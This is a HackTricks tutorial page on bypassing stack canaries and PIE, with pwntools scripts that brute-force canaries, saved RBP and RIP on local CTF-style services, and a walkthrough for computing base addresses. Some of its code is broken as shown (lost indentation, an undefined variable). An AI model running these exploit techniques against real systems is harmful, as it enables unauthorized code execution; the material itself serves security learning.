189 lines
9.2 KiB
Markdown
189 lines
9.2 KiB
Markdown
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.**
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.png>)
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{% hint style="info" %}
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Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\
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However, you can manually notice this if you find that a value is saved in the stack at the begging of a function call and this value is checked before exiting.
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{% endhint %}
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# Brute force Canary
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The best way to bypass a simple canary is if the binary is a program **forking child processes every time you establish a new connection** with it (network service), because every time you connect to it **the same canary will be used**.
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Then, the best way to bypass the canary is just to **brute-force it char by char**, and you can figure out if the guessed canary byte was correct checking if the program has crashed or continues its regular flow. In this example the function **brute-forces an 8 Bytes canary (x64)** and distinguish between a correct guessed byte and a bad byte just **checking** if a **response** is sent back by the server (another way in **other situation** could be using a **try/except**):
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## Example 1
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This example is implemented for 64bits but could be easily implemented for 32 bits.
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```python
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from pwn import *
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def connect():
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r = remote("localhost", 8788)
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def get_bf(base):
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canary = ""
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guess = 0x0
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base += canary
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while len(canary) < 8:
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while guess != 0xff:
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r = connect()
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r.recvuntil("Username: ")
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r.send(base + chr(guess))
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if "SOME OUTPUT" in r.clean():
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print "Guessed correct byte:", format(guess, '02x')
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canary += chr(guess)
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base += chr(guess)
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guess = 0x0
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r.close()
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break
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else:
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guess += 1
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r.close()
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print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
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return base
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canary_offset = 1176
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base = "A" * canary_offset
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print("Brute-Forcing canary")
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base_canary = get_bf(base) #Get yunk data + canary
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CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
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```
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## Example 2
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This is implemented for 32 bits, but this could be easily changed to 64bits.\
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Also note that for this example the **program expected first a byte to indicate the size of the input** and the payload.
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```python
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from pwn import *
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# Here is the function to brute force the canary
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def breakCanary():
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known_canary = b""
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test_canary = 0x0
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len_bytes_to_read = 0x21
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for j in range(0, 4):
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# Iterate up to 0xff times to brute force all posible values for byte
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for test_canary in range(0xff):
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print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
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# Send the current input size
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target.send(len_bytes_to_read.to_bytes(1, "little"))
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# Send this iterations canary
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target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
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# Scan in the output, determine if we have a correct value
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output = target.recvuntil(b"exit.")
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if b"YUM" in output:
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# If we have a correct value, record the canary value, reset the canary value, and move on
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print(" - next byte is: " + hex(test_canary))
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known_canary = known_canary + test_canary.to_bytes(1, "little")
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len_bytes_to_read += 1
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break
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# Return the canary
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return known_canary
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# Start the target process
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target = process('./feedme')
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#gdb.attach(target)
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# Brute force the canary
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canary = breakCanary()
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log.info(f"The canary is: {canary}")
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```
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# Print Canary
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Another way to bypass the canary is to **print it**.\
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Imagine a situation where a **program vulnerable** to stack overflow can execute a **puts** function **pointing** to **part** of the **stack overflow**. The attacker knows that the **first byte of the canary is a null byte** (`\x00`) and the rest of the canary are **random** bytes. Then, the attacker may create an overflow that **overwrites the stack until just the first byte of the canary**.\
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Then, the attacker **calls the puts functionalit**y on the middle of the payload which will **print all the canary** (except from the first null byte).\
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With this info the attacker can **craft and send a new attack** knowing the canary (in the same program session)
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Obviously, this tactic is very **restricted** as the attacker needs to be able to **print** the **content** of his **payload** to **exfiltrate** the **canary** and then be able to create a new payload (in the **same program session**) and **send** the **real buffer overflow**.\
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CTF example: [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
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# PIE
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In order to bypass the PIE you need to **leak some address**. And if the binary is not leaking any addresses the best to do it is to **brute-force the RBP and RIP saved in the stack** in the vulnerable function.\
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For example, if a binary is protected using both a **canary** and **PIE**, you can start brute-forcing the canary, then the **next** 8 Bytes (x64) will be the saved **RBP** and the **next** 8 Bytes will be the saved **RIP.**
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To brute-force the RBP and the RIP from the binary you can figure out that a valid guessed byte is correct if the program output something or it just doesn't crash. The **same function** as the provided for brute-forcing the canary can be used to brute-force the RBP and the RIP:
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```python
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print("Brute-Forcing RBP")
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base_canary_rbp = get_bf(base_canary)
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RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
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print("Brute-Forcing RIP")
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base_canary_rbp_rip = get_bf(base_canary_rbp)
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RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
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```
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## Get base address
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The last thing you need to defeat the PIE is to calculate **useful addresses from the leaked** addresses: the **RBP** and the **RIP**.
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From the **RBP** you can calculate **where are you writing your shell in the stack**. This can be very useful to know where are you going to write the string _"/bin/sh\x00"_ inside the stack. To calculate the distance between the leaked RBP and your shellcode you can just put a **breakpoint after leaking the RBP** an check **where is your shellcode located**, then, you can calculate the distance between the shellcode and the RBP:
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```python
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INI_SHELLCODE = RBP - 1152
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```
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From the **RIP** you can calculate the **base address of the PIE binary** which is what you are going to need to create a **valid ROP chain**.\
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To calculate the base address just do `objdump -d vunbinary` and check the disassemble latest addresses:
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.png>)
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In that example you can see that only **1 Byte and a half is needed** to locate all the code, then, the base address in this situation will be the **leaked RIP but finishing on "000"**. For example if you leaked _0x562002970**ecf** _ the base address is _0x562002970**000**_
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```python
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elf.address = RIP - (RIP & 0xfff)
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```
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
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Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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